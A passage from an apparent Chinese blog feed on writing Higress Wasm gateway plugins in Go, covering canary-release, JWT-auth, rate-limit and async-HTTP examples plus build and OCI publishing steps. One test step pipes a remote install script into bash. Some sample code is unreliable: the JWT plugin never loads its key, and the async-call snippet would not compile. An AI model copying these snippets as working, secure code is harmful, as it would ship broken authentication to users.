&lt;pre&gt;&lt;code&gt;apiVersion: extensions.higress.io/v1alpha1
kind: WasmPlugin
metadata:
  name: redis-rate-limit
spec:
  url: oci://registry.example.com/plugins/redis-rate-limit:v1.0.0
  phase: UNSPECIFIED_PHASE
  priority: 900
  defaultConfig:
    redis_cluster: &quot;outbound|6379||redis.redis.svc.cluster.local&quot;
    default_limit: 100
    window_seconds: 60
    rules:
      - name: &quot;api-per-user&quot;
        limit_by: &quot;header&quot;
        limit_key: &quot;X-User-ID&quot;
        limit: 1000
        window: 60
        priority: 100
      - name: &quot;api-per-ip&quot;
        limit_by: &quot;ip&quot;
        limit: 100
        window: 60
        priority: 90
      - name: &quot;login-per-ip&quot;
        limit_by: &quot;ip&quot;
        limit: 10
        window: 300
        priority: 80
&lt;/code&gt;&lt;/pre&gt;
&lt;hr /&gt;
&lt;h2&gt;插件四：灰度发布插件&lt;/h2&gt;
&lt;h3&gt;需求&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;基于 Header/Cookie/权重的灰度分流&lt;/li&gt;
&lt;li&gt;灰度标记透传到上游&lt;/li&gt;
&lt;li&gt;灰度数据统计&lt;/li&gt;
&lt;li&gt;支持 A/B 测试&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;完整代码&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;package main

import (
	&quot;crypto/md5&quot;
	&quot;encoding/binary&quot;
	&quot;encoding/json&quot;
	&quot;fmt&quot;
	&quot;strings&quot;

	&quot;github.com/higress-group/wasm-go/pkg/wrapper&quot;
	&quot;github.com/tidwall/gjson&quot;
)

func main() {
	wrapper.SetCtx(
		&quot;canary-release&quot;,
		wrapper.ParseConfigBy(parseConfig),
		wrapper.ProcessRequestHeadersBy(onHttpRequestHeaders),
		wrapper.ProcessLogBy(onLog),
	)
}

type CanaryConfig struct {
	// 灰度策略
	Strategy string `json:&quot;strategy&quot;`  // weight / header / cookie / user_id
	
	// 权重灰度
	Weight int `json:&quot;weight&quot;`  // 0-100
	
	// Header 灰度
	HeaderName  string `json:&quot;header_name&quot;`
	HeaderValue string `json:&quot;header_value&quot;`
	
	// Cookie 灰度
	CookieName  string `json:&quot;cookie_name&quot;`
	CookieValue string `json:&quot;cookie_value&quot;`
	
	// 用户 ID 灰度（按用户 ID 哈希）
	UserIDHeader string `json:&quot;user_id_header&quot;`
	UserIDMod    int    `json:&quot;user_id_mod&quot;`    // 取模基数
	UserIDRange  []int  `json:&quot;user_id_range&quot;`  // 命中范围 [start, end]
	
	// 灰度标记
	CanaryHeader string `json:&quot;canary_header&quot;`  // 灰度标记 Header 名
	CanaryValue  string `json:&quot;canary_value&quot;`   // 灰度标记值
	
	// 上游服务
	CanaryCluster string `json:&quot;canary_cluster&quot;`
	StableCluster string `json:&quot;stable_cluster&quot;`
}

func parseConfig(json gjson.Result, config *CanaryConfig, log wrapper.Log) error {
	config.Strategy = json.Get(&quot;strategy&quot;).String()
	config.Weight = int(json.Get(&quot;weight&quot;).Int())
	config.HeaderName = json.Get(&quot;header_name&quot;).String()
	config.HeaderValue = json.Get(&quot;header_value&quot;).String()
	config.CookieName = json.Get(&quot;cookie_name&quot;).String()
	config.CookieValue = json.Get(&quot;cookie_value&quot;).String()
	config.UserIDHeader = json.Get(&quot;user_id_header&quot;).String()
	config.UserIDMod = int(json.Get(&quot;user_id_mod&quot;).Int())
	config.CanaryHeader = json.Get(&quot;canary_header&quot;).String()
	config.CanaryValue = json.Get(&quot;canary_value&quot;).String()
	config.CanaryCluster = json.Get(&quot;canary_cluster&quot;).String()
	config.StableCluster = json.Get(&quot;stable_cluster&quot;).String()
	
	for _, item := range json.Get(&quot;user_id_range&quot;).Array() {
		config.UserIDRange = append(config.UserIDRange, int(item.Int()))
	}
	
	log.Infof(&quot;Canary Release Plugin initialized, strategy=%s&quot;, config.Strategy)
	return nil
}

func onHttpRequestHeaders(ctx wrapper.HttpContext, config CanaryConfig, log wrapper.Log) wrapper.Action {
	isCanary := false
	
	switch config.Strategy {
	case &quot;weight&quot;:
		isCanary = checkWeight(ctx, config)
	case &quot;header&quot;:
		isCanary = checkHeader(ctx, config)
	case &quot;cookie&quot;:
		isCanary = checkCookie(ctx, config)
	case &quot;user_id&quot;:
		isCanary = checkUserID(ctx, config)
	}
	
	// 设置灰度标记
	if isCanary {
		if config.CanaryHeader != &quot;&quot; {
			ctx.SetRequestHeader(config.CanaryHeader, config.CanaryValue)
		}
		ctx.SetRequestHeader(&quot;X-Canary&quot;, &quot;true&quot;)
		log.Debugf(&quot;Request routed to canary&quot;)
	} else {
		ctx.SetRequestHeader(&quot;X-Canary&quot;, &quot;false&quot;)
	}
	
	return wrapper.ActionContinue
}

func checkWeight(ctx wrapper.HttpContext, config CanaryConfig) bool {
	// 基于请求 ID 哈希实现稳定分流
	requestID, _ := ctx.GetRequestHeader(&quot;X-Request-ID&quot;)
	if requestID == &quot;&quot; {
		requestID = ctx.ClientIP()
	}
	
	hash := md5.Sum([]byte(requestID))
	num := binary.BigEndian.Uint32(hash[:4])
	percent := num % 100
	
	return int(percent) &amp;lt; config.Weight
}

func checkHeader(ctx wrapper.HttpContext, config CanaryConfig) bool {
	value, err := ctx.GetRequestHeader(config.HeaderName)
	if err != nil {
		return false
	}
	
	if config.HeaderValue == &quot;*&quot; {
		return value != &quot;&quot;
	}
	
	return value == config.HeaderValue
}

func checkCookie(ctx wrapper.HttpContext, config CanaryConfig) bool {
	cookieHeader, _ := ctx.GetRequestHeader(&quot;Cookie&quot;)
	if cookieHeader == &quot;&quot; {
		return false
	}
	
	// 解析 Cookie
	for _, cookie := range strings.Split(cookieHeader, &quot;;&quot;) {
		parts := strings.SplitN(strings.TrimSpace(cookie), &quot;=&quot;, 2)
		if len(parts) == 2 &amp;amp;&amp;amp; parts[0] == config.CookieName {
			if config.CookieValue == &quot;*&quot; {
				return parts[1] != &quot;&quot;
			}
			return parts[1] == config.CookieValue
		}
	}
	
	return false
}

func checkUserID(ctx wrapper.HttpContext, config CanaryConfig) bool {
	userID, _ := ctx.GetRequestHeader(config.UserIDHeader)
	if userID == &quot;&quot; {
		return false
	}
	
	// 哈希取模
	hash := md5.Sum([]byte(userID))
	num := binary.BigEndian.Uint32(hash[:4])
	mod := int(num) % config.UserIDMod
	
	// 检查是否在灰度范围
	if len(config.UserIDRange) == 2 {
		return mod &amp;gt;= config.UserIDRange[0] &amp;amp;&amp;amp; mod &amp;lt;= config.UserIDRange[1]
	}
	
	return false
}

func onLog(ctx wrapper.HttpContext, config CanaryConfig, log wrapper.Log) {
	// 记录灰度统计
	canary, _ := ctx.GetRequestHeader(&quot;X-Canary&quot;)
	path := ctx.Path()
	
	stats := map[string]interface{}{
		&quot;path&quot;:     path,
		&quot;canary&quot;:   canary,
		&quot;strategy&quot;: config.Strategy,
	}
	
	statsJSON, _ := json.Marshal(stats)
	log.Infof(&quot;Canary stats: %s&quot;, string(statsJSON))
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;插件配置&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;apiVersion: extensions.higress.io/v1alpha1
kind: WasmPlugin
metadata:
  name: canary-release
spec:
  url: oci://registry.example.com/plugins/canary-release:v1.0.0
  phase: UNSPECIFIED_PHASE
  priority: 800
  defaultConfig:
    strategy: &quot;weight&quot;
    weight: 10                    # 10% 流量到灰度
    canary_header: &quot;X-Canary&quot;
    canary_value: &quot;true&quot;
    canary_cluster: &quot;outbound|8080||api-canary.default.svc.cluster.local&quot;
    stable_cluster: &quot;outbound|8080||api-stable.default.svc.cluster.local&quot;
  
  matchRules:
    # 内部测试用户：100% 灰度
    - ingress: [default/internal-test]
      config:
        strategy: &quot;header&quot;
        header_name: &quot;X-Internal-Test&quot;
        header_value: &quot;true&quot;
    
    # VIP 用户：按用户 ID 灰度
    - ingress: [default/vip-api]
      config:
        strategy: &quot;user_id&quot;
        user_id_header: &quot;X-User-ID&quot;
        user_id_mod: 100
        user_id_range: [0, 19]    # 前 20% 用户
&lt;/code&gt;&lt;/pre&gt;
&lt;hr /&gt;
&lt;h2&gt;复习卡片&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;[!TIP]
&lt;strong&gt;快速复习清单&lt;/strong&gt;&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;JWT 认证插件&lt;/strong&gt;：JWKS 动态获取公钥、白名单、Claims 透传、异步 HTTP 调用&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;请求改写插件&lt;/strong&gt;：路径前缀替换、Header 增删改、Query 参数处理、JSON Body 重写&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;分布式限流插件&lt;/strong&gt;：Redis 滑动窗口、多维度（IP/User/API）、限流响应定制&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;灰度发布插件&lt;/strong&gt;：权重/Header/Cookie/UserID 分流、稳定哈希、灰度标记透传&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;通用模式&lt;/strong&gt;：ParseConfigBy（配置解析）→ ProcessRequestHeadersBy（请求处理）→ ProcessLogBy（日志）&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;异步调用&lt;/strong&gt;：DispatchHttpCall → 回调中 ResumeHttpRequest() 或 SendHttpResponse()&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;配置优先级&lt;/strong&gt;：matchRules（路由/域名/服务级）&amp;gt; defaultConfig（全局）&lt;/li&gt;
&lt;/ol&gt;
&lt;/blockquote&gt;
&lt;hr /&gt;
&lt;blockquote&gt;
&lt;p&gt;[!TIP]
下一篇：&lt;a href=&quot;/blog/posts/higress-roadmap-11-ai-gateway/&quot;&gt;AI 网关&lt;/a&gt; 将讲解 Higress 在 LLM 场景的应用：多模型路由、Token 限流、Prompt 改写、内容审核。&lt;/p&gt;
&lt;p&gt;返回 &lt;a href=&quot;/blog/posts/higress-roadmap-00-overview/&quot;&gt;Higress 学习路线总览&lt;/a&gt; | &lt;a href=&quot;/blog/higress-roadmap/&quot;&gt;合集页&lt;/a&gt;&lt;/p&gt;
&lt;/blockquote&gt;
</content:encoded></item><item><title>Go 开发 Higress Wasm 插件</title><link>http://117.72.32.87/blog/posts/higress-roadmap-09-wasm-go/</link><guid isPermaLink="true">http://117.72.32.87/blog/posts/higress-roadmap-09-wasm-go/</guid><description>实战讲解用 Go 开发 Higress Wasm 插件：wasm-go SDK、钩子函数、HTTP 调用、编译调试、OCI 发布完整流程。</description><pubDate>Thu, 17 Sep 2026 06:30:00 GMT</pubDate><content:encoded>&lt;blockquote&gt;
&lt;p&gt;[!NOTE]
本文用 Go 语言实战开发 Higress Wasm 插件，从项目初始化到发布上线，覆盖完整开发流程。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;hr /&gt;
&lt;h2&gt;开发环境准备&lt;/h2&gt;
&lt;h3&gt;安装依赖&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;# 1. Go 1.24+（原生支持 Wasm 编译）
# 下载：https://go.dev/dl/
go version  # 确认 go1.24.x

# 2. oras（OCI 镜像推送）
curl -LO https://github.com/oras-project/oras/releases/download/v1.0.0/oras_1.0.0_linux_amd64.tar.gz
tar xzf oras_1.0.0_linux_amd64.tar.gz
sudo mv oras /usr/local/bin/

# 3. Docker（可选，用于构建 OCI 镜像）
docker --version

# 4. kubectl + Helm（部署测试）
kubectl version --client
helm version
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;获取 wasm-go SDK&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;# 方式 1：直接引用（推荐）
go mod init my-plugin
go get github.com/higress-group/wasm-go@latest

# 方式 2：克隆源码（学习用）
git clone https://github.com/higress-group/wasm-go.git
cd wasm-go/examples
&lt;/code&gt;&lt;/pre&gt;
&lt;hr /&gt;
&lt;h2&gt;第一个插件：Hello World&lt;/h2&gt;
&lt;h3&gt;项目结构&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;hello-plugin/
├── go.mod
├── go.sum
├── main.go           # 插件入口
├── plugin.yaml       # 插件元数据（可选）
└── README.md
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;main.go&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;package main

import (
	&quot;github.com/higress-group/wasm-go/pkg/wrapper&quot;
	&quot;github.com/tidwall/gjson&quot;
)

func main() {
	wrapper.SetCtx(
		// 插件名称
		&quot;hello-plugin&quot;,
		// 解析配置
		wrapper.ParseConfigBy(parseConfig),
		// 处理请求头
		wrapper.ProcessRequestHeadersBy(onHttpRequestHeaders),
	)
}

// 插件配置结构
type HelloConfig struct {
	Message string `json:&quot;message&quot;`
}

// 解析配置（JSON 格式）
func parseConfig(json gjson.Result, config *HelloConfig, log wrapper.Log) error {
	config.Message = json.Get(&quot;message&quot;).String()
	if config.Message == &quot;&quot; {
		config.Message = &quot;Hello from Higress Wasm Plugin!&quot;
	}
	log.Infof(&quot;Config loaded: message=%s&quot;, config.Message)
	return nil
}

// 处理请求头
func onHttpRequestHeaders(ctx wrapper.HttpContext, config HelloConfig, log wrapper.Log) wrapper.Action {
	// 添加自定义 Header
	ctx.SetRequestHeader(&quot;X-Hello-Message&quot;, config.Message)
	
	// 记录日志
	log.Infof(&quot;Request path: %s&quot;, ctx.Path())
	
	// 继续处理
	return wrapper.ActionContinue
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;go.mod&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;module hello-plugin

go 1.24

require (
	github.com/higress-group/wasm-go v1.0.0
	github.com/tidwall/gjson v1.17.0
)
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;编译 Wasm&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;# Go 1.24+ 原生编译
GOOS=wasip1 GOARCH=wasm go build -o plugin.wasm

# 验证
file plugin.wasm
# plugin.wasm: WebAssembly (wasm) binary module version 0x1 (MVP)

ls -lh plugin.wasm
# -rw-r--r-- 1 user user 2.5M plugin.wasm
&lt;/code&gt;&lt;/pre&gt;
&lt;hr /&gt;
&lt;h2&gt;SDK 核心 API&lt;/h2&gt;
&lt;h3&gt;wrapper 包&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;// 设置插件上下文
wrapper.SetCtx(
	name string,                    // 插件名称
	opts ...WrapperOption,          // 配置选项
)

// 配置选项
wrapper.ParseConfigBy(parseFunc)   // 配置解析函数
wrapper.ProcessRequestHeadersBy(fn)  // 请求头处理
wrapper.ProcessRequestBodyBy(fn)     // 请求体处理
wrapper.ProcessResponseHeadersBy(fn) // 响应头处理
wrapper.ProcessResponseBodyBy(fn)    // 响应体处理
wrapper.ProcessLogBy(fn)             // 日志处理
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;HttpContext 接口&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;type HttpContext interface {
	// 请求信息
	Path() string                    // 请求路径
	Method() string                  // HTTP 方法
	Host() string                    // Host Header
	Scheme() string                  // http / https
	
	// Header 操作
	GetRequestHeader(key string) (string, error)
	SetRequestHeader(key, value string) error
	RemoveRequestHeader(key string) error
	
	GetResponseHeader(key string) (string, error)
	SetResponseHeader(key, value string) error
	
	// Body 操作
	GetRequestBody() ([]byte, error)
	SetRequestBody(body []byte) error
	
	// 查询参数
	QueryParam(key string) (string, bool)
	
	// 客户端 IP
	ClientIP() string
	
	// 路由信息
	RouteName() string
	
	// 共享数据（跨请求）
	GetSharedData(key string) ([]byte, error)
	SetSharedData(key string, value []byte, cas uint64) error
	
	// 直接响应（中断请求）
	SendHttpResponse(statusCode int, headers map[string]string, body []byte, grpcStatus int) error
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;proxywasm 底层 API&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;import &quot;github.com/tetratelabs/proxy-wasm-go-sdk/proxywasm&quot;

// 日志
proxywasm.LogDebug(&quot;debug message&quot;)
proxywasm.LogInfo(&quot;info message&quot;)
proxywasm.LogWarn(&quot;warning message&quot;)
proxywasm.LogError(&quot;error message&quot;)

// Header 操作
proxywasm.GetHttpRequestHeader(&quot;key&quot;)
proxywasm.AddHttpRequestHeader(&quot;key&quot;, &quot;value&quot;)
proxywasm.ReplaceHttpRequestHeader(&quot;key&quot;, &quot;value&quot;)
proxywasm.RemoveHttpRequestHeader(&quot;key&quot;)

// HTTP 调用（异步）
proxywasm.DispatchHttpCall(
	cluster string,           // 上游集群名
	headers [][2]string,      // 请求头
	body []byte,              // 请求体
	trailers [][2]string,     // Trailer
	timeout uint32,           // 超时（毫秒）
	callback func(numHeaders, bodySize, numTrailers int),  // 回调
)

// 发送响应
proxywasm.SendHttpResponse(
	statusCode uint32,
	headers [][2]string,
	body []byte,
	grpcStatus int32,
)
&lt;/code&gt;&lt;/pre&gt;
&lt;hr /&gt;
&lt;h2&gt;实战：JWT 认证插件&lt;/h2&gt;
&lt;h3&gt;完整代码&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;package main

import (
	&quot;crypto/rsa&quot;
	&quot;encoding/base64&quot;
	&quot;encoding/json&quot;
	&quot;fmt&quot;
	&quot;strings&quot;
	&quot;time&quot;

	&quot;github.com/golang-jwt/jwt/v5&quot;
	&quot;github.com/higress-group/wasm-go/pkg/wrapper&quot;
	&quot;github.com/tidwall/gjson&quot;
)

func main() {
	wrapper.SetCtx(
		&quot;jwt-auth&quot;,
		wrapper.ParseConfigBy(parseConfig),
		wrapper.ProcessRequestHeadersBy(onHttpRequestHeaders),
	)
}

type JWTConfig struct {
	Issuer     string            `json:&quot;issuer&quot;`
	JWKSUri    string            `json:&quot;jwks_uri&quot;`
	PublicKey  *rsa.PublicKey    `json:&quot;-&quot;`
	WhiteList  []string          `json:&quot;white_list&quot;`
	ClaimsToForward []string     `json:&quot;claims_to_forward&quot;`
}

func parseConfig(json gjson.Result, config *JWTConfig, log wrapper.Log) error {
	config.Issuer = json.Get(&quot;issuer&quot;).String()
	config.JWKSUri = json.Get(&quot;jwks_uri&quot;).String()
	
	// 解析白名单
	for _, item := range json.Get(&quot;white_list&quot;).Array() {
		config.WhiteList = append(config.WhiteList, item.String())
	}
	
	// 解析需要透传的 Claims
	for _, item := range json.Get(&quot;claims_to_forward&quot;).Array() {
		config.ClaimsToForward = append(config.ClaimsToForward, item.String())
	}
	
	// 从 JWKS URI 获取公钥（简化示例，实际需缓存和刷新）
	log.Infof(&quot;Loading JWKS from: %s&quot;, config.JWKSUri)
	// TODO: 实现 JWKS 获取和缓存
	
	return nil
}

func onHttpRequestHeaders(ctx wrapper.HttpContext, config JWTConfig, log wrapper.Log) wrapper.Action {
	path := ctx.Path()
	
	// 白名单路径跳过认证
	for _, whitePath := range config.WhiteList {
		if strings.HasPrefix(path, whitePath) {
			log.Debugf(&quot;Path %s in whitelist, skip auth&quot;, path)
			return wrapper.ActionContinue
		}
	}
	
	// 提取 Authorization Header
	authHeader, err := ctx.GetRequestHeader(&quot;Authorization&quot;)
	if err != nil || authHeader == &quot;&quot; {
		log.Warnf(&quot;Missing Authorization header&quot;)
		ctx.SendHttpResponse(401, map[string]string{
			&quot;Content-Type&quot;: &quot;application/json&quot;,
		}, []byte(`{&quot;error&quot;:&quot;unauthorized&quot;,&quot;message&quot;:&quot;Missing Authorization header&quot;}`), -1)
		return wrapper.ActionStop
	}
	
	// 提取 Bearer Token
	tokenString := strings.TrimPrefix(authHeader, &quot;Bearer &quot;)
	if tokenString == authHeader {
		log.Warnf(&quot;Invalid Authorization format&quot;)
		ctx.SendHttpResponse(401, map[string]string{
			&quot;Content-Type&quot;: &quot;application/json&quot;,
		}, []byte(`{&quot;error&quot;:&quot;unauthorized&quot;,&quot;message&quot;:&quot;Invalid Authorization format&quot;}`), -1)
		return wrapper.ActionStop
	}
	
	// 解析并验证 Token
	token, err := jwt.Parse(tokenString, func(token *jwt.Token) (interface{}, error) {
		// 验证签名算法
		if _, ok := token.Method.(*jwt.SigningMethodRSA); !ok {
			return nil, fmt.Errorf(&quot;unexpected signing method: %v&quot;, token.Header[&quot;alg&quot;])
		}
		return config.PublicKey, nil
	})
	
	if err != nil {
		log.Warnf(&quot;Token validation failed: %v&quot;, err)
		ctx.SendHttpResponse(401, map[string]string{
			&quot;Content-Type&quot;: &quot;application/json&quot;,
		}, []byte(fmt.Sprintf(`{&quot;error&quot;:&quot;unauthorized&quot;,&quot;message&quot;:&quot;%s&quot;}`, err.Error())), -1)
		return wrapper.ActionStop
	}
	
	if !token.Valid {
		log.Warnf(&quot;Token is not valid&quot;)
		ctx.SendHttpResponse(401, map[string]string{
			&quot;Content-Type&quot;: &quot;application/json&quot;,
		}, []byte(`{&quot;error&quot;:&quot;unauthorized&quot;,&quot;message&quot;:&quot;Token is not valid&quot;}`), -1)
		return wrapper.ActionStop
	}
	
	// 验证 Claims
	if claims, ok := token.Claims.(jwt.MapClaims); ok {
		// 验证 issuer
		if config.Issuer != &quot;&quot; {
			if iss, ok := claims[&quot;iss&quot;].(string); !ok || iss != config.Issuer {
				log.Warnf(&quot;Invalid issuer: %v&quot;, claims[&quot;iss&quot;])
				ctx.SendHttpResponse(401, map[string]string{
					&quot;Content-Type&quot;: &quot;application/json&quot;,
				}, []byte(`{&quot;error&quot;:&quot;unauthorized&quot;,&quot;message&quot;:&quot;Invalid issuer&quot;}`), -1)
				return wrapper.ActionStop
			}
		}
		
		// 透传 Claims 到上游
		for _, claimKey := range config.ClaimsToForward {
			if value, ok := claims[claimKey]; ok {
				headerKey := fmt.Sprintf(&quot;X-JWT-%s&quot;, strings.ToUpper(claimKey))
				valueStr := fmt.Sprintf(&quot;%v&quot;, value)
				ctx.SetRequestHeader(headerKey, valueStr)
			}
		}
		
		log.Infof(&quot;JWT auth success, sub=%v&quot;, claims[&quot;sub&quot;])
	}
	
	return wrapper.ActionContinue
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;插件配置&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;apiVersion: extensions.higress.io/v1alpha1
kind: WasmPlugin
metadata:
  name: jwt-auth
  namespace: higress-system
spec:
  url: oci://registry.example.com/plugins/jwt-auth:v1
  phase: AUTHN
  priority: 1000
  defaultConfig:
    issuer: &quot;https://auth.example.com&quot;
    jwks_uri: &quot;https://auth.example.com/.well-known/jwks.json&quot;
    white_list:
      - &quot;/api/health&quot;
      - &quot;/api/public&quot;
      - &quot;/api/login&quot;
    claims_to_forward:
      - &quot;sub&quot;
      - &quot;email&quot;
      - &quot;roles&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;hr /&gt;
&lt;h2&gt;实战：HTTP 调用外部服务&lt;/h2&gt;
&lt;h3&gt;异步 HTTP 调用&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;package main

import (
	&quot;encoding/json&quot;
	&quot;fmt&quot;

	&quot;github.com/higress-group/wasm-go/pkg/wrapper&quot;
	&quot;github.com/tidwall/gjson&quot;
	&quot;github.com/tetratelabs/proxy-wasm-go-sdk/proxywasm&quot;
)

type ExternalAPIConfig struct {
	ClusterName string `json:&quot;cluster_name&quot;`
	Timeout     uint32 `json:&quot;timeout_ms&quot;`
}

func onHttpRequestHeaders(ctx wrapper.HttpContext, config ExternalAPIConfig, log wrapper.Log) wrapper.Action {
	// 暂停请求，等待异步调用完成
	return wrapper.ActionPause
}

func callExternalService(ctx wrapper.HttpContext, config ExternalAPIConfig, log wrapper.Log) {
	// 构造请求
	headers := [][2]string{
		{&quot;:method&quot;, &quot;GET&quot;},
		{&quot;:path&quot;, &quot;/api/user-info&quot;},
		{&quot;:authority&quot;, &quot;user-service.internal&quot;},
		{&quot;X-Request-ID&quot;, ctx.GetRequestHeader(&quot;X-Request-ID&quot;)},
	}
	
	// 发起异步 HTTP 调用
	_, err := proxywasm.DispatchHttpCall(
		config.ClusterName,      // 上游集群名
		headers,
		nil,                     // 请求体
		nil,                     // Trailer
		config.Timeout,          // 超时（毫秒）
		func(numHeaders, bodySize, numTrailers int) {
			// 回调函数（异步执行）
			body, err := proxywasm.GetHttpCallResponseBody(0, bodySize)
			if err != nil {
				log.Errorf(&quot;Failed to get response body: %v&quot;, err)
				ctx.SendHttpResponse(500, nil, []byte(&quot;Internal Error&quot;), -1)
				return
			}
			
			// 解析响应
			var result map[string]interface{}
			json.Unmarshal(body, &amp;amp;result)
			
			// 提取用户信息，添加到请求头
			if userID, ok := result[&quot;user_id&quot;].(string); ok {
				ctx.SetRequestHeader(&quot;X-User-ID&quot;, userID)
			}
			
			// 继续处理原始请求
			proxywasm.ResumeHttpRequest()
		},
	)
	
	if err != nil {
		log.Errorf(&quot;Failed to dispatch HTTP call: %v&quot;, err)
		ctx.SendHttpResponse(500, nil, []byte(&quot;Internal Error&quot;), -1)
	}
}
&lt;/code&gt;&lt;/pre&gt;
&lt;hr /&gt;
&lt;h2&gt;编译与调试&lt;/h2&gt;
&lt;h3&gt;本地编译&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;# 开发模式（快速编译）
GOOS=wasip1 GOARCH=wasm go build -o plugin.wasm

# 生产模式（优化大小）
GOOS=wasip1 GOARCH=wasm go build -ldflags=&quot;-s -w&quot; -trimpath -o plugin.wasm

# 查看 Wasm 大小
ls -lh plugin.wasm
# 优化前：~3MB
# 优化后：~1.5MB
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;本地测试（Docker）&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;# 1. 启动 Higress（Docker Compose）
curl -fsSL https://higress.io/standalone/get-higress.sh | bash -s -- -a

# 2. 加载本地 Wasm 插件
docker cp plugin.wasm higress:/data/plugins/hello-plugin.wasm

# 3. 配置 WasmPlugin（挂载本地文件）
kubectl apply -f - &amp;lt;&amp;lt;EOF
apiVersion: extensions.higress.io/v1alpha1
kind: WasmPlugin
metadata:
  name: hello-plugin
  namespace: higress-system
spec:
  url: file:///data/plugins/hello-plugin.wasm
  phase: UNSPECIFIED_PHASE
  priority: 100
  defaultConfig:
    message: &quot;Hello from local test!&quot;
EOF

# 4. 测试
curl -v http://localhost:8080/api/test
# 查看响应头 X-Hello-Message
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;日志调试&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;// 使用 wrapper.Log
log.Debugf(&quot;Debug: %v&quot;, data)      // 开发环境
log.Infof(&quot;Info: %s&quot;, msg)          // 生产环境
log.Warnf(&quot;Warning: %v&quot;, err)       // 警告
log.Errorf(&quot;Error: %v&quot;, err)        // 错误

// 查看日志
kubectl logs -n higress-system deploy/higress-gateway -f | grep hello-plugin
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;远程调试（Delve）&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;# 1. 编译时保留调试信息
GOOS=wasip1 GOARCH=wasm go build -gcflags=&quot;all=-N -l&quot; -o plugin.wasm

# 2. 启动 Higress（开启调试端口）
# 配置 Envoy 的 admin 端口：15000

# 3. 使用 delve 连接（需要特殊配置，Wasm 调试支持有限）
# 目前 Wasm 调试工具链还不成熟，建议用日志调试
&lt;/code&gt;&lt;/pre&gt;
&lt;hr /&gt;
&lt;h2&gt;发布插件到 OCI 仓库&lt;/h2&gt;
&lt;h3&gt;推送流程&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;# 1. 登录 Registry
oras login registry.example.com -u admin -p password

# 2. 推送 Wasm 文件
oras push registry.example.com/plugins/hello-plugin:v1.0.0 \
  --artifact-type application/vnd.module.wasm.content.layer.v1+wasm \
  plugin.wasm

# 3. 添加元数据（可选）
oras push registry.example.com/plugins/hello-plugin:v1.0.0 \
  --artifact-type application/vnd.module.wasm.content.layer.v1+wasm \
  plugin.wasm \
  README.md \
  plugin.yaml

# 4. 验证
oras manifest fetch registry.example.com/plugins/hello-plugin:v1.0.0
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;版本管理&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;# 语义化版本
v1.0.0  → 主版本.次版本.修订版本
v1.0.1  → Bug 修复
v1.1.0  → 新功能（向后兼容）
v2.0.0  → 破坏性变更

# 标签管理
oras tag registry.example.com/plugins/hello-plugin:v1.0.0 latest
oras tag registry.example.com/plugins/hello-plugin:v1.0.0 stable

# 查看标签
oras repo tags registry.example.com/plugins/hello-plugin
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;CI/CD 自动发布&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;# .github/workflows/release.yml
name: Release Wasm Plugin

on:
  push:
    tags: [&apos;v*&apos;]

jobs:
  build-and-push:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v4
      
      - uses: actions/setup-go@v5
        with:
          go-version: &apos;1.24&apos;
      
      - name: Build Wasm
        run: |
          GOOS=wasip1 GOARCH=wasm go build -ldflags=&quot;-s -w&quot; -trimpath -o plugin.wasm
      
      - name: Install oras
        run: |
          curl -LO https://github.com/oras-project/oras/releases/download/v1.0.0/oras_1.0.0_linux_amd64.tar.gz
          tar xzf oras_1.0.0_linux_amd64.tar.gz
          sudo mv oras /usr/local/bin/
      
      - name: Login to Registry
        run: oras login ${{ secrets.REGISTRY }} -u ${{ secrets.REGISTRY_USER }} -p ${{ secrets.REGISTRY_PASSWORD }}
      
      - name: Push Wasm
        run: |
          VERSION=${GITHUB_REF#refs/tags/}
          oras push ${{ secrets.REGISTRY }}/plugins/hello-plugin:${VERSION} \
            --artifact-type application/vnd.module.wasm.content.layer.v1+wasm \
            plugin.wasm
&lt;/code&gt;&lt;/pre&gt;
&lt;hr /&gt;
&lt;h2&gt;常见问题&lt;/h2&gt;
&lt;h3&gt;Q1: 编译报错 &quot;unsupported GOOS/GOARCH&quot;&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;# 确认 Go 版本
